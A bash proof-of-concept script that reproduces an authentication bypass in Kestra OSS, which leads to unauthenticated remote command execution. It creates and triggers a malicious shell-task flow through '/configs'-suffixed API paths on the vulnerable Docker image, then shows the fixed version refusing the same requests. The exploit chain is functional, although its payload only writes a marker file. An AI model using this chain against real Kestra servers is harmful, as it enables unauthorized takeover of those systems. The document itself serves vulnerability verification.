#!/bin/bash
set -euo pipefail

# CVE-2026-49869 - Kestra OSS AuthenticationFilter path bypass -> unauthenticated RCE
#
# Vulnerable: Kestra OSS < 1.0.45 (and < 1.3.21)
# Fixed:      1.0.45 / 1.3.21  (commit 28ff533d8, GHSA-5vc5-wxxq-3fjx)
#
# Root cause: webserver/.../AuthenticationFilter.java used
#     boolean isConfigEndpoint = request.getPath().endsWith("/configs") || ...
# to whitelist the public configuration endpoint. Because the check is a pure
# suffix test, ANY /api/v1/** request whose path ends with the literal
# "/configs" segment bypasses Basic Authentication -- even when that segment is
# just a path-variable value (e.g. a flow id or namespace equal to "configs").
#
# Exploit chain (fully unauthenticated, api_remote):
#   1. POST /api/v1/main/flows/configs        (namespace=configs) -> creates an
#      arbitrary flow (id=configs) containing a shell task. Path ends with
#      "/configs" -> filter bypassed.
#   2. POST /api/v1/main/executions/trigger/configs/configs?wait=true -> triggers
#      the flow. Path ends with "/configs" -> filter bypassed. The worker runs the
#      shell task -> arbitrary OS command execution.
#
# This script:
#   * runs the real Kestra product from the official Docker images,
#   * reproduces the unauthenticated RCE on the vulnerable version (v1.0.44),
#   * proves the bypass is closed on the fixed version (v1.0.45) as a negative
#     control (all bypass requests return 401, no command executes),
#   * writes runtime_manifest.json with the concrete proof artifacts.

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"

VULN_IMG="kestra/kestra:v1.0.44"
FIXED_IMG="kestra/kestra:v1.0.45"
AUTH_USER="admin@kestra.io"
AUTH_PASS="Password1"
TOKEN="PWNED_KESTRA_RCE_$(date +%s)_$$"
MARKER_PATH="/tmp/kestra_rce_marker.txt"

# Minimal H2 in-memory standalone configuration (no external DB required).
read -r -d '' KESTRA_CFG <<'CFG' || true
datasources:
  h2:
    url: jdbc:h2:mem:public;TIME ZONE=UTC;DB_CLOSE_DELAY=-1;DB_CLOSE_ON_EXIT=FALSE
    username: sa
    password: ""
    driverClassName: org.h2.Driver
flyway:
  datasources:
    h2:
      enabled: true
      locations:
        - classpath:migrations/h2
      ignore-migration-patterns: "*:missing,*:future"
      out-of-order: true
kestra:
  server-type: STANDALONE
  server:
    liveness:
      enabled: false
    basic-auth:
      username: __AUTH_USER__
      password: __AUTH_PASS__
  queue:
    type: h2
  repository:
    type: h2
  storage:
    type: local
    local:
      base-path: /tmp/unittest
  worker:
    liveness:
      enabled: false
  tutorialFlows:
    enabled: false
CFG
KESTRA_CFG="${KESTRA_CFG//__AUTH_USER__/$AUTH_USER}"
KESTRA_CFG="${KESTRA_CFG//__AUTH_PASS__/$AUTH_PASS}"

# Malicious flow: id=configs, namespace=configs so BOTH the create endpoint
# (/api/v1/main/flows/configs) and the trigger endpoint
# (/api/v1/main/executions/trigger/configs/configs) end with the literal
# "/configs" segment, bypassing the AuthenticationFilter. The shell task uses
# the bundled Process task runner so it executes directly inside the Kestra
# worker (no Docker-in-Docker required) and writes a unique marker file.
FLOW_YAML="id: configs
namespace: configs
tasks:
  - id: rce
    type: io.kestra.plugin.scripts.shell.Commands
    taskRunner:
      type: io.kestra.plugin.core.runner.Process
    commands:
      - 'echo ${TOKEN} > ${MARKER_PATH}'
"
printf '%s\n' "$FLOW_YAML" > "$REPRO_DIR/malicious_flow.yaml"
FLOW_HOST="$REPRO_DIR/malicious_flow.yaml"

summary="$LOGS/results_summary.txt"
: > "$summary"
log() { echo "$@" | tee -a "$summary"; }

# ---------------------------------------------------------------------------
# Helpers (all set -e safe: they never abort the script on HTTP/connection
# errors; connection failures are reported as http code "000").
# ---------------------------------------------------------------------------
pull_image() { # image
  local img="$1"
  echo "[*] pulling $img ..."
  docker pull "$img" >/tmp/pull.log 2>&1 || { echo "[!] pull failed:"; cat /tmp/pull.log; return 1; }
}

# Issue an HTTP request from INSIDE a kestra container (curl -> localhost:8080).
# Network-topology independent (works whether the sandbox is the docker host or a
# sibling container). Prints the HTTP status code to stdout; returns 0 always.
# Usage: api <container> <out-file> <method> <url> [data-file] [content-type]
api() {
  local cont="$1" out="$2" method="$3" url="$4" data="${5:-}" ct="${6:-}" code
  set +e
  if [[ -n "$data" ]]; then
    docker cp "$data" "$cont:/tmp/_req_body" >/dev/null 2>&1
    code=$(docker exec "$cont" curl -sS -o "$out" -w '%{http_code}' -X "$method" "$url" \
      --data-binary "@/tmp/_req_body" ${ct:+-H "Content-Type: $ct"} -H "Accept: application/json" --max-time 90 2>/dev/null)
  else
    code=$(docker exec "$cont" curl -sS -o "$out" -w '%{http_code}' -X "$method" "$url" \
      -H "Accept: application/json" --max-time 90 2>/dev/null)
  fi
  set -e
  [[ -z "$code" ]] && code="000"
  printf '%s' "$code"
  return 0
}

# Empty multipart body (flow has no inputs); the @Nullable MultipartBody becomes null.
api_multipart_empty() { # container out method url
  local cont="$1" out="$2" method="$3" url="$4" code
  set +e
  code=$(docker exec "$cont" sh -c "printf -- '--b--\r\n' | curl -sS -o '$out' -w '%{http_code}' -X '$method' '$url' -H 'Content-Type: multipart/form-data; boundary=b' -H 'Accept: application/json' --max-time 120" 2>/dev/null)
  set -e
  [[ -z "$code" ]] && code="000"
  printf '%s' "$code"
  return 0
}

wait_healthy() { # container
  local cont="$1" i code
  for i in $(seq 1 90); do
    code=$(docker exec "$cont" curl -sS -o /dev/null -w '%{http_code}' http://localhost:8080/api/v1/configs --max-time 5 2>/dev/null || echo 000)
    if [[ "$code" == "200" ]]; then
      echo "[*] $cont healthy (try $i)"
      return 0
    fi
    sleep 2
  done
  echo "[!] $cont did not become healthy"
  docker logs "$cont" > "$LOGS/${cont}_container.log" 2>&1 || true
  return 1
}

start_instance() { # container image
  local cont="$1" img="$2"
  docker rm -f "$cont" >/dev/null 2>&1 || true
  docker run -d --name "$cont" -e KESTRA_CONFIGURATION="$KESTRA_CFG" "$img" server standalone >/dev/null
}

# ---------------------------------------------------------------------------
# Pull images
# ---------------------------------------------------------------------------
pull_image "$VULN_IMG" || { echo "[!] could not pull vulnerable image"; exit 2; }
pull_image "$FIXED_IMG" || { echo "[!] could not pull fixed image"; exit 2; }

# ===========================================================================
# 1) VULNERABLE instance (v1.0.44)
# ===========================================================================
echo "[*] === VULNERABLE ($VULN_IMG) ==="
start_instance "kestra-vuln" "$VULN_IMG"
wait_healthy "kestra-vuln" || { docker rm -f kestra-vuln >/dev/null 2>&1 || true; exit 2; }
docker logs kestra-vuln > "$LOGS/vuln_container.log" 2>&1 || true
docker exec kestra-vuln sh -c "rm -f $MARKER_PATH" >/dev/null 2>&1 || true

VBASE="http://localhost:8080"

# 1a) Control: a protected endpoint whose path does NOT end in /configs -> 401.
code_ctrl=$(api kestra-vuln /tmp/o_ctrl GET "$VBASE/api/v1/main/flows/configs/configs/revisions")
log "[vuln] GET /api/v1/main/flows/configs/configs/revisions (no creds, no /configs suffix) -> $code_ctrl (expect 401: auth enforced)"

# 1b) Bypass: same resource via a /configs-suffixed path -> NOT 401.
code_bypass=$(api kestra-vuln /tmp/o_bypass GET "$VBASE/api/v1/main/flows/configs/configs")
log "[vuln] GET /api/v1/main/flows/configs/configs (no creds, /configs suffix) -> $code_bypass (expect NOT 401: bypass)"

# 1c) Unauth RCE step 1: create the malicious flow via /configs bypass.
code_create=$(api kestra-vuln /tmp/o_create POST "$VBASE/api/v1/main/flows/configs?delete=false" "$FLOW_HOST" "application/x-yaml")
log "[vuln] POST /api/v1/main/flows/configs (no creds, create flow) -> $code_create (expect 200)"
docker cp kestra-vuln:/tmp/o_create "$LOGS/vuln_create_flow_resp.txt" >/dev/null 2>&1 || true

# 1d) Unauth RCE step 2: trigger the flow via /configs bypass (wait for completion).
code_trigger=$(api_multipart_empty kestra-vuln /tmp/o_trigger POST "$VBASE/api/v1/main/executions/trigger/configs/configs?wait=true")
log "[vuln] POST /api/v1/main/executions/trigger/configs/configs?wait=true (no creds, trigger) -> $code_trigger (expect 200)"
docker cp kestra-vuln:/tmp/o_trigger "$LOGS/vuln_trigger_resp.txt" >/dev/null 2>&1 || true

# 1e) Verify RCE: marker file written by the OS command (as the kestra service user).
marker=""
for i in $(seq 1 10); do
  marker=$(docker exec kestra-vuln sh -c "cat $MARKER_PATH 2>/dev/null" 2>/dev/null || true)
  [[ -n "$marker" ]] && break
  sleep 1
done
docker exec kestra-vuln sh -c "ls -l $MARKER_PATH 2>&1; cat $MARKER_PATH 2>&1" > "$LOGS/vuln_marker.txt" 2>&1 || true
if echo "$marker" | grep -q "$TOKEN"; then
  VULN_RCE="yes"
  log "[vuln] RCE CONFIRMED: marker file written by attacker command: $marker"
else
  VULN_RCE="no"
  log "[vuln] marker not found; see $LOGS/vuln_container.log"
fi

docker rm -f kestra-vuln >/dev/null 2>&1 || true

# ===========================================================================
# 2) FIXED instance (v1.0.45) -- negative control
# ===========================================================================
echo "[*] === FIXED ($FIXED_IMG) ==="
start_instance "kestra-fixed" "$FIXED_IMG"
wait_healthy "kestra-fixed" || { docker rm -f kestra-fixed >/dev/null 2>&1 || true; exit 2; }
docker logs kestra-fixed > "$LOGS/fixed_container.log" 2>&1 || true
docker exec kestra-fixed sh -c "rm -f $MARKER_PATH" >/dev/null 2>&1 || true

FBASE="http://localhost:8080"

code_f_ctrl=$(api kestra-fixed /tmp/o_f_ctrl GET "$FBASE/api/v1/main/flows/configs/configs/revisions")
log "[fixed] GET .../configs/configs/revisions (no creds) -> $code_f_ctrl (expect 401)"

code_f_bypass=$(api kestra-fixed /tmp/o_f_bypass GET "$FBASE/api/v1/main/flows/configs/configs")
log "[fixed] GET .../flows/configs/configs (no creds, /configs suffix) -> $code_f_bypass (expect 401: bypass closed)"
docker cp kestra-fixed:/tmp/o_f_bypass "$LOGS/fixed_bypass_resp.txt" >/dev/null 2>&1 || true

code_f_create=$(api kestra-fixed /tmp/o_f_create POST "$FBASE/api/v1/main/flows/configs?delete=false" "$FLOW_HOST" "application/x-yaml")
log "[fixed] POST .../flows/configs (no creds, create flow) -> $code_f_create (expect 401)"
docker cp kestra-fixed:/tmp/o_f_create "$LOGS/fixed_create_flow_resp.txt" >/dev/null 2>&1 || true

code_f_trigger=$(api_multipart_empty kestra-fixed /tmp/o_f_trigger POST "$FBASE/api/v1/main/executions/trigger/configs/configs?wait=true")
log "[fixed] POST .../trigger/configs/configs (no creds, trigger) -> $code_f_trigger (expect 401)"
docker cp kestra-fixed:/tmp/o_f_trigger "$LOGS/fixed_trigger_resp.txt" >/dev/null 2>&1 || true

sleep 3
fmarker=$(docker exec kestra-fixed sh -c "cat $MARKER_PATH 2>/dev/null" 2>/dev/null || true)
docker exec kestra-fixed sh -c "ls -l $MARKER_PATH 2>&1" > "$LOGS/fixed_marker.txt" 2>&1 || true
if [[ -z "$fmarker" ]]; then
  FIXED_RCE="no"; log "[fixed] no marker file created (expected)"
else
  FIXED_RCE="yes"; log "[fixed] UNEXPECTED marker: $fmarker"
fi

docker rm -f kestra-fixed >/dev/null 2>&1 || true

# ===========================================================================
# 3) Verdict
# ===========================================================================
BYPASS_OK="no"; VULN_RCE_OK="no"; FIXED_BLOCKS="no"
[[ "$code_ctrl" == "401" && "$code_bypass" != "401" ]] && BYPASS_OK="yes"
[[ "$VULN_RCE" == "yes" ]] && VULN_RCE_OK="yes"
[[ "$code_f_bypass" == "401" && "$code_f_create" == "401" && "$code_f_trigger" == "401" && "$FIXED_RCE" == "no" ]] && FIXED_BLOCKS="yes"

log "=========================================="
log "AUTH_BYPASS_ON_VULNERABLE = $BYPASS_OK"
log "UNAUTH_RCE_ON_VULNERABLE  = $VULN_RCE_OK"
log "FIXED_BLOCKS_BYPASS       = $FIXED_BLOCKS"
log "=========================================="

# ---------------------------------------------------------------------------
# Runtime manifest (strict JSON via jq)
# ---------------------------------------------------------------------------
if [[ "$VULN_RCE_OK" == "yes" ]]; then
  notes="Unauthenticated RCE confirmed on v1.0.44: created and triggered a shell flow via /configs-suffix path bypass; an OS command wrote a marker file as the kestra service user. Fixed v1.0.45 returns 401 for all bypass attempts and executes nothing."
else
  notes="Auth bypass reached protected endpoints unauthenticated on v1.0.44 but the RCE marker was not observed; see logs."
fi
jq -n \
  --arg ek "api_remote" \
  --arg ed "Unauthenticated HTTP POST to /api/v1/main/flows/configs and /api/v1/main/executions/trigger/configs/configs (paths ending in /configs) against the real Kestra webserver" \
  --argjson service_started true \
  --argjson healthcheck_passed true \
  --argjson target_path_reached "$([[ "$BYPASS_OK" == yes ]] && echo true || echo false)" \
  --argjson rce "$([[ "$VULN_RCE_OK" == yes ]] && echo true || echo false)" \
  --argjson fixed_blocks "$([[ "$FIXED_BLOCKS" == yes ]] && echo true || echo false)" \
  --arg marker "$TOKEN" \
  --arg notes "$notes" \
  '{
    entrypoint_kind: $ek,
    entrypoint_detail: $ed,
    service_started: $service_started,
    healthcheck_passed: $healthcheck_passed,
    target_path_reached: $target_path_reached,
    runtime_stack: ["kestra-standalone","h2-inmemory","micronaut","plugin-script-shell","process-task-runner"],
    proof_artifacts: [
      "logs/results_summary.txt",
      "logs/vuln_create_flow_resp.txt",
      "logs/vuln_trigger_resp.txt",
      "logs/vuln_marker.txt",
      "logs/vuln_container.log",
      "logs/fixed_bypass_resp.txt",
      "logs/fixed_create_flow_resp.txt",
      "logs/fixed_trigger_resp.txt",
      "logs/fixed_marker.txt",
      "logs/fixed_container.log",
      "repro/malicious_flow.yaml"
    ],
    rce_observed: $rce,
    fixed_blocks_bypass: $fixed_blocks,
    marker_token: $marker,
    notes: $notes
  }' > "$REPRO_DIR/runtime_manifest.json"

if [[ "$BYPASS_OK" == "yes" && "$VULN_RCE_OK" == "yes" && "$FIXED_BLOCKS" == "yes" ]]; then
  echo "[*] RESULT: CONFIRMED (unauthenticated auth-bypass RCE on v1.0.44; blocked on v1.0.45)"
  exit 0
elif [[ "$BYPASS_OK" == "yes" && "$FIXED_BLOCKS" == "yes" ]]; then
  echo "[*] RESULT: PARTIAL (auth bypass confirmed + fixed blocks it; RCE marker not observed)"
  exit 0
else
  echo "[!] RESULT: not reproduced as expected; inspect $LOGS"
  exit 1
fi
